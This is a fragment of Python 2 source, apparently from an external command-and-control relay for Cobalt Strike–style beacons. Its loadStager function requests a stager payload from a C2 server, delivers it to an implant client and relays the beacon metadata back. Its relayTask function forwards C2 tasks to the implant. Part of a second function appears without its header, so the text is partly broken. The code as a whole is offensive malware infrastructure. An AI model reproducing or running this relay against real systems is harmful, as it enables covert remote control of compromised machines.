def loadStager(sock, beaconId):
# Send options to the external_c2 server
configureOptions(sock, config.C2_ARCH, config.C2_PIPE_NAME,
config.C2_BLOCK_TIME)
if config.debug:
print commonUtils.color("stager configured, sending 'go'",
status=False,
yellow=True)
# Request stager
stager_payload = requestStager(sock)
if config.debug:
print(commonUtils.color("STAGER: ", status=False, yellow=True) +
"%s") % (stager_payload)
# Prep stager payload
if config.verbose:
print commonUtils.color("Encoding stager payload")
# Trick, this is actually done during sendData()
# Send stager to the client
if config.verbose:
print commonUtils.color("Sending stager to client")
commonUtils.sendData(stager_payload, beaconId)
# Rrieve the metadata we need to relay back to the server
if config.verbose:
print commonUtils.color("Awaiting metadata response from client")
# Only one response, so this should be the first element of the array
metadata = commonUtils.retrieveData(beaconId)[0]
# Send the metadata frame to the external_c2 server
if config.verbose:
print commonUtils.color("Sending metadata to c2 server")
if config.debug:
print(
commonUtils.color("METADATA: ", status=False, yellow=True) +
"%s") % (metadata)
commonUtils.sendFrameToC2(sock, metadata)
# Pretend we have error handling, return 0 if everything is Gucci
return 0
beacon_arch = "arch=" + str(arch)
if config.debug:
print commonUtils.color(beacon_arch, status=False, yellow=True)
commonUtils.sendFrameToC2(sock, beacon_arch)
beacon_pipename = "pipename=" + str(pipename)
if config.debug:
print commonUtils.color(beacon_pipename, status=False, yellow=True)
commonUtils.sendFrameToC2(sock, beacon_pipename)
beacon_block = "block=" + str(block)
if config.debug:
print commonUtils.color(beacon_block, status=False, yellow=True)
commonUtils.sendFrameToC2(sock, beacon_block)
def relayTask(task, beaconId):
# Relays a new task from the c2 server to the client
# 'task' will be encoded in the 'commonUtils.sendData()' function.
if config.debug:
print commonUtils.color("Relaying task to client",
status=False,
yellow=True)
commonUtils.sendData(task, beaconId)